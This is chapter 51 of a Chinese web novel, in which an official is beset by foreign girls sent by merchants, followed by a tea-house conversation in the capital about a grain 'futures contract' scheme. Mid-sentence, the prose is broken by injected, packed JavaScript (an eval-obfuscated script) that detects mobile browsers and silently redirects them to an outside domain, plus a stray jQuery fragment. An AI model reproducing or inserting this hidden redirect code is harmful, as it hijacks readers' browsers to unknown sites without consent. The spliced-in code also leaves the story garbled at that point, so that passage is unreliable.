51.傅融
作品:《与宿敌共掌市舶司后》 这金发少女白得惊人,胜过新雪,两颊浮着淡淡粉色,金色鬈发用水蓝绸带松松挽着,仿佛披了一层金光缎。
一双眼睛最特别,浅蓝色,比海色浅几分,比天色深几度,像最上等的琉璃,清透见底。
她虽不及关倩兮娇俏艳丽,但胜在稀罕。扬州城里,何曾见过这样的金发蓝眼?
“明大人!”一开口,嗓音甜似蜜,腻过油膏。
明桂枝皱眉,不动声色往后退。谁知少女借势又扑上来。
“当心!”明桂枝惊呼,她一下站不稳,被迫后退半步,后背抵上洞门。
对方竟趁机沿着她黛袍往上攀,似蛇一样,转眼就攀上她的脖颈,整个人贴上来。
方靖不知何时踱到赵斐身侧,戏谑道:“啧,比关娘子还黏人,昆玉这艳福……”
黛袍与水蓝色缎裙交织,如海水与河水交融。
赵斐眼神冷透,重重咳嗽,一声比一声急。
方靖挑眉,识趣地坐到一旁喝茶。
金发少女如藤蔓缠身,明桂枝脱不了身。她瞥向赵斐……那人袖手旁观就算了,还一脸沉郁,不知生什么闷气。
明桂枝胸口腾起一股无名火。
转而看向怀中少女:“你!”
质问的话到嘴边又咽下。
何必迁怒?
她缓了语气:“你是什么人?”
“奴家蓝月儿,”少女仰脸,蓝眼睛水汪汪,“奴家的舅舅是云绡阁卢东家。”
“卢景愉?” 明桂枝一怔。那细眉细眼的绸缎商?看他也不似有西域血统,怎会有个金发蓝眼的外甥女?
“嗯,”蓝月儿将脑袋靠在她肩上,鬈发扫得她鼻尖发痒:“舅舅让我跟着明大人……”
“跟着我?”
“去杭州。”蓝月儿眨眨眼,“伺候您。”
明桂枝转向赵斐:“怎么回事?”
赵斐心头火烧。
一个关倩兮还不够,如今又添个蓝月儿。
“允书?” 明桂枝催促。
“明大人喜好异域风情,”赵斐冷笑:“扬州城谁人不知。”
明桂枝恍然大悟。
她想起关倩兮的生母——倩娘说的,“不过是从人牙子手里买来各族女子,塞给官人们当玩物。”
“他们以为我……?”她好气又好笑:“我喜欢倩娘,不代表我见着西域女子就要收。”
呵!
“他”的意思是……那妖妇独一无二?天下无双?
是只有、是唯一?
非她不可?
赵斐眸子结霜:“难怪他们猜不着,谁想到你专爱泼辣蛮横的?”
明桂枝揉揉眉心:“允书,如今不是置气的时候。”
话音未落,偏厅木门一下子撞开,五六个异域少女鱼贯而入,发色、肤色各异,这个穿红,那个着绿,如颜料盘泼洒进来。
棕发绿眼的那个最先扑到明桂枝跟前:“丝韵轩的顾员外是我舅舅!”嗓音清脆,带点儿波斯口音。
旁边一个黑肤卷发的不甘示弱,用肩膀挤开众人:“玉瓷轩梁掌柜是我表兄!”这少女身材曼妙,腿长腰细,扭着腰靠到明桂枝身边,丰臀一挺,硬是将蓝月儿撞了个趔趄。
最引人注目的是那对双胞胎,琥珀色发丝,金色瞳孔,一模一样的长相、打扮。
两人齐声:“明大人,我家叔父是漕帮郑帮主,他说您若不嫌弃,我们姐妹随您去杭州!”
红发少女最后上前,绿眸泛光:“爹爹说,他、他是我女儿,特意送我来……给明大人做伴!”
方靖“噗嗤”笑出声:“你爹爹说他是你女儿?”
“不,不是,”红发女急得结巴,“我、我是他女儿。”
“你爹是谁?”
“碧蚕庄……姚、姚仲德?”她羞怯低头,“亲、亲生的。”
明桂枝僵在原地。
少女们这个扯她衣袖,那个搂她肩膀,更有甚者,将整个身子贴着她背。央求声此起彼伏。
“明大人,奴家对您一见倾心,生生世世跟着您!”
“听说杭州繁华,我们姐妹不想留在扬州受苦,明大人,求您带上我们!”
“奴、奴家会伺候人,明、明大人,带带我……”
“明大人,全带去杭州罢!”赵斐冷哼一声,添一把火:“颜玉庄不是要设绸缎庄么,这七彩斑斓的,够你开几家染坊。”
“赵斐,你够了!”明桂枝终于置气,连名带姓喝止。
无奈少女们缠得更紧,她动惮不得。脂粉味混着少女体香,熏得透不过气。
抬手欲挡,不慎触到一片温软,她惊得缩回手。侧首一看,是那红发少女,她不知何时挤到了明桂枝怀中。
一头红发属实罕见。
晨曦中泛着橙光,像团跳动的火。
明桂枝眸光微动。
她从前工作的MCN公司,也有个这样红发的模特儿,是各大时装设计师的最爱。
红发,雪肤,穿什么都出彩。
运动服衬得热情似火,穿哥特风化身暗夜精灵,就连身着汉服,也有种东西方文化碰撞的凌乱美感。
她凝神看那头红发,心里闪过一个念头。
“你叫什么名字?”明桂枝脱口问。
红发少女眨着绿色大眼睛:“奴、奴家姚……”她想了好一会儿,才想起她“爹爹”取的名字:“怜、怜卿,奴家姚怜卿。”
“好,带上你。”
“明桂枝!”
赵斐一声怒喝,竟有回音?
回首望去,是关倩兮叉腰立在门口,与他异口同声。
小丫鬟春桃踮脚耳语:“娘子,奴婢没说错吧,他们送来好些女人……”
关倩兮绿眸燃火,大步上前,一把将明桂枝拽出重围,力道之大,害明桂枝踉跄几步,险些跌倒。
“统统送回去!”关倩兮瞪着众少女,厉声道:“明郎,把她们原路退回!”
语气不容置疑,浓浓的、辣辣的,满是占有欲。
蓝月儿金发一甩,发梢扫过关倩兮面颊:“教坊出来的也配管我们?”说着,倚着明桂枝:“明大人,奴家可是清清白白的,是黄花闺女……”
双胞胎一左一右缠上来:“我们姐妹俩也是……”
黑肤卷发那位嗓音嘹亮:“明大人,若被退回,奴家只能沦落风尘……”
姚怜卿垂泪,绿眸子像被雨刷过。
“求、求明大人垂怜……”她又看向关倩兮:“姐姐心善,您、您可怜妹妹……妹妹愚钝,不似姐姐聪明,若、若沦落教坊,大概这辈子都出不来了……”
语气柔弱,却分明藏针。
赵斐唇角微翘。
这妖妇平日在明昆玉面前矫揉做作,如今倒好,风水轮流转。
恰窗外一缕光照进,落在关倩兮气得发红的耳尖上。
赵斐几乎要笑出声。
他抿了一口茶,心气都顺了,顿觉得今日的茶汤格外清爽。
“啊,你!妖孽!”
关倩兮看向姚怜卿,绿眸子瞪绿眸子。
“你这话什么意思?你嘲讽谁呢你!”
手指几乎戳到对方鼻尖。
姚怜卿一下闪到明桂枝身后:“姐姐息怒……是妹妹愚笨,惹姐姐生气了。”
“明郎!”关倩兮用手肘轻撞明桂枝,眼神示意:“你还记得答应过我什么?”
明桂枝自然记得她们的契约。
她柔声道:“记得,当然记得。”转身对众少女道:“我家一切由倩娘作主。”说罢,扯着关倩兮衣袖:“倩娘,她们随你处置。你爱怎么打发,就怎么打发吧。”
语气宠溺,仿佛下一瞬关倩兮要天上星、水里月,“他”也赴汤蹈火去取。
赵斐刚才还漾着笑意的眼睛,骤然成了深潭。
“好大的威风。”他冷冷说道。
也不知是说关倩兮,还是明桂枝。
明桂枝听出他话里有话,刚要开口,关倩兮已反唇相讥:“赵大人若眼热,这些美人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537771|160291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽可带走。”红唇勾起挑衅的弧度,对她们道:“各位姐妹,何必吊死在一棵树上?赵大人正缺人暖床不是?”
少女们闻言,交换眼神。
下一瞬,金发的缠赵斐左臂,黑肤的攀住他右肩,双胞胎一前一后围住他。
“赵大人,收留我们!”
“赵大人英俊潇洒,我们姐妹仰慕久矣!”
“求求赵大人怜惜奴家……”
赵斐试图挣脱,却被她们缠得更紧,狼狈不堪。
“送回去!昆玉,你把她们全送回去!”他俊脸涨红喊道。
方靖看热闹不嫌事大:“要不要帮忙?”
“送去方府!”
赵斐与关倩兮同时作声,一说完,两人俱是一怔,又各自别过脸去。
“使不得!”方靖连连摆手退后:“万万不可!我家那位非撕了我不可!”
明桂枝静默良久,目光在众少女脸上逡巡。她们眼睛里不剩几分期盼,更多的是惶恐。
“都不要?”她突然开口。
“当然!”三人异口同声。
明桂枝深吸一口气:“那,我全要了。”
“什么!”
这次的惊呼是三重奏。
关倩兮绿眸瞪得滚圆,赵斐指节捏得发白,方靖愣愣回神,茶盏“咣当”掉地上。
……
京城。
暮春午后,朱雀街人流不算多,臻颐茶行二楼雅间更是静谧。
方卯茶壶一倾,沸水落入茶盏,“半生茶”的长长叶片打了个转。
“榫卿兄,谢了!” 古长青一笑。
方卯比古长青大几岁,官阶也高半品。
可这位古大人接过茶时,却连句客套话都没有。
方卯觉得有趣。
对方不怯,自己竟也不恼。
这半个月来,每逢下朝,他总忍不住邀上古长青。苦丁茶的涩味,渐渐成了他们的默契。
“山东奏的这事,说是那德州徐霁民平了粮价,但我总觉得不妥……”古长青搅着茶汤,寿眉低垂:“粮价忽起忽落,十有八九漕帮在捣鬼。”
方卯推给他一碟蜜饯:“植之,你可听说过‘竹节虫’?”
“‘竹节虫’?”
“嗯。”
“愿闻其详。”古长青扬眉,待他细说。
方卯茶匙在盏沿轻敲两下,侍卫领命,脚步声渐远。
他压低声音:“我那侄子前日来信……”
茶香氤氲。
真相渐渐浮出水面。
……
“竟!竟、竟有这等事?”古长青寿眉颤动,瞪眼直呼:“难以想象,难以想象!”
“不这般,他们如何破徐霁民的网?”方卯叹息,却转瞬,又朗声笑:“不过,若非这遭,老夫也见识不了‘期货契约’这个局,奇,奇哉,妙也!”
“唉,难为他们几个后生,”古长青摇头,“还要搭台唱戏。”
“名师出高徒,”方卯由衷赞叹:“植之,你教出的好学生。”
“谬赞了,这‘期货契约’我可想不出来!是他们自己本事。”
“也让我那侄子长见识了。”
古长青灵光一闪,从怀中摸出信笺:“不行,我得给傅凝止去封信……”
“傅融?”
“嗯,让他关照关照他们三人。”
“不可!”方卯按住他,急道:“别,植之,你千万别!”
“为何?”
“你与他是旧相识不假,但老夫认识他更久。”
“哦?”
方卯叹气:“他这人最是刚愎自用,谁的话都不听、不信,你忘了永泰六年那桩事?他连恩师的账都不卖!”
“也是……”
“你写信,他定觉得你要他徇私,反而更严苛。”
茶炉上的水咕嘟作响。
古长青沉默良久,叹道:“那便……顺其自然?”
“顺其自然,顺其自然。”
……